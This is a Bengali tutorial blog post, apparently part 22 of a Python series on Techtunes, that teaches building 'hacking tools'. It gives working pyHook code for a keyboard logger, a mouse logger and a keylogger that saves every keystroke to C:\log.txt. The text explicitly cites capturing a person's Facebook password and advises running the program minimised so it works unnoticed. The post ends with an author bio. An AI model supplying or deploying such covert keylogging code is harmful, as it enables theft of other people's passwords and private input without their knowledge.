
সুপ্রিয় টেকটিউনসের সবাইকে জানাই শুভেচ্ছা । আশা করি সবাই ভাল আছেন ।আজ পইথনের ২২ তম পর্বে আমি পাইথন দিয়ে কিছূ ছোটখাট হ্যাকিং টুলস তেরী করা শেখাব আপনাদের । তবে ভীত হবার কোন কারণ নেই । কারণ জিনিসটা খুবই সহজ ।আপনাকে শুধু কিছু কিছু মডিউল কমান্ড জানতে হবেই কাজের জন্য ।আমরা আজ pyHook মডিউল নিয়ে মূলত কাজ করব ।এছাড়ও কিছু মডিউল রয়েছে যেগুলো আপনারা দেখতে পাবেন । প্রথমে এইখান থেকে পাইথনের জন্য আপনার ভার্সন ও উউন্ডোজ অনুযায়ী pyWin32 ও pyHook মডিউলটা ডাউনলোড ও ইনস্টল করে নিন । তারপর আপনারা হ্যাকিং টুলস তৈরীর জন্য পুরোপুরি তৈরী । মূলত এটা অনেক উপায়ে তৈরী করা যায় । তবে আমি বর্তমানে আপনাদের কয়েকটি পদ্ধতি দেখাব ।আমি আপনাদের দেখাব একটা সিম্পল কীলগার কীভাবে তৈরী করা যায় । পরে আপনারা গুগলে সার্চ দিলে আরও অনেক টেকনিক পেয়ে যাবেন ।আমি এখানে পাইথন ২.৭ এর উপর লিখলাম । কারণ এই মডিউলটার ভার্সন পাইথন ৩.৩ তে একটু সমস্যা দেয় । প্রথমে আপনারা নীচের কোডগুলি টাইপ করুন ও রান করান ।
import pythoncom, pyHook
def OnKeyboardEvent(event):
print “WindowName:”,event.WindowName
print “Key:”, event.Key
print “KeyID:”, event.KeyID
print ”---“
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()এখানে মূলত আমরা প্রথমে ২ টি মডিউল ইমপোর্ট করেছি । এরপর একটা ফাংশন ডিক্লেয়ার করে তার মধ্যে কিছূ কোড লিখেছি । আসুন , কোডগুলোর অর্থ সম্পর্কে একটু ক্লিয়ার হই ।
print 'WindowName:',event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print 'Key:', event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print 'KeyID:', event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।
print 'MessageName:',event.MessageName
print 'Message:',event.Message
print 'Time:',event.Time
print 'Window:',event.Window
print 'Ascii:', event.Ascii, chr(event.Ascii)
print 'ScanCode:', event.ScanCode
print 'Extended:', event.Extended
print 'Injected:', event.Injected
print 'Alt', event.Alt
print 'Transition', event.Transitionএখানে hm টা হল জাস্ট একটা ভ্যারিয়েবল । আপনারা ইচ্ছা করলে এটির অন্য যেকোন নাম দিতে পারেন ।
এগুলো ইউজ করে দেখুন , আপনারা কীবোর্ডের ক্যাপচারের আর ও অনেক তথ্য পাবেন । এবার প্রোগ্রামটি রান করে মিনিমাইজ করে রাখুন । ব্যাস , এটি নিজের মনে কাজ করে যাবে ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।
import pythoncom, pyHook
def OnMouseEvent(event):
# called when mouse events are received
print 'MessageName:',event.MessageName
print 'Message:',event.Message
print 'Time:',event.Time
print 'Window:',event.Window
print 'WindowName:',event.WindowName
print 'Position:',event.Position
print 'Wheel:',event.Wheel
print 'Injected:',event.Injected
print '---'
return True
hm = pyHook.HookManager()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
pythoncom.PumpMessages()এখন ধরুন আপনি আপনার সকল কী্স্ট্রোক একটা নোটপ্যাডে টেক্সটআকারে সেভ রাখতে চান , তাহলে কী করতে হবে । উপায় আছে । সবাই নীচের কোডটি টাইপ করুন ।
import pyHook, pythoncom, sys, logging
file_log = "C:\\log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages() PumpMessages()এখানে মূলত আমরা pyHook, pythoncom, sys, logging নামের ৪ টি মডিউল ইমপোর্ট করেছি । তারপর সব লগ সেভ করার জন্য file_log নামের একটা ভ্যারিয়েবল নিয়ে যে প্যাথে আমাদের কী স্ট্রোকগুলো সেভ হবে সেটা দেখিয়ে দিযেছি । তারপর একটা ফাংশন ডিফাইন করে logging মডিউলটা ইউজ করে আমরা কোথায় আমাদের সব টেক্সট সেভ হবে সেটা বলে দিয়েছি ও কী ফরম্যাটে সেভ হবে ও কীভাবে সেভ হবে সেটাও বলে দিয়েছি ।তারপর আমরা ASCII ফরম্যাটের সব কীস্ট্রোক ক্যাপচার করার জন্য নীচের কোড দুটি ইউজ করেছি । তারপরের কাজ সবই উপরের প্রোগ্রামটার মতই । এবার এই প্রোগ্রামটা সেভ করে রান করুন ও মিনিমাইজ করে রাখুন । দেখুন , আপনার টেক্সট ফাইলে আপনার সব কীস্ট্রোক সেভ হয়ে আছে । অবশ্য আপনার দেওয়া প্যাথে একটি নোটপ্যাড ফাইল আগে থেকেই তৈরী করে রাখবেন । না হলে ইরর দেখাতে পারে ।
আর আপনার গুগলে সার্চ দিয়ে pyHook মডিউলটার উপর আরো পড়াশুনা করুন । আশা করি আরও নতুন কিছু শিখতে পারবেন ।
আমি আমাদের ভার্সিটির(খুলনা বিশ্ববিদ্যালয়) এডমিশন টেষ্টের জন্য সিট প্লান সার্চ দেওয়ার একটা এপ্লিকেমন তৈরী করেছি গ্রাফিক্যাল ইউজার ইন্টারফেস সহ ।এটা মূলত প্লান করা আমার মামুর । আর ডেভলপ করা আমার । আশা করছি পরের পর্বে এটা আপনাদের মাঝে শেয়ার করব । সাথে আমাদের গ্রুপের মেম্বর মাহমুদ রাজু ভাইয়ের তৈরী কার একটা গ্রাফিক্যাল প্রোগ্রামও শেয়ার করব বলে আশা করছি । ফলে আপনাদের GUI প্রোগ্রামিং এর বেসিকটা আরও ভাল হবে বলে আমি আশা করছি ।
সবাই ভাল থাকবেন । সবাইকে ধন্যবাদ ।
আমি অরিন্দম পাল। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 13 বছর 6 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 81 টি টিউন ও 316 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 20 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।
মানসিক ভাবে দূর্বল । কোন কাজই কনফিডেন্টলি করতে পারি না , তবুও দেখি কাজ শেষ পর্যন্ত হয়ে যায় । নিজের সম্পর্কে এক এক সময় ধারণা এক এক রকম হয় । আমার কোন বেল ব্রেক নেই । সকালে যে কাজ করব ঠিক করি , বিকালে তা করতে পারি না । নিজের...
onek dhonnobad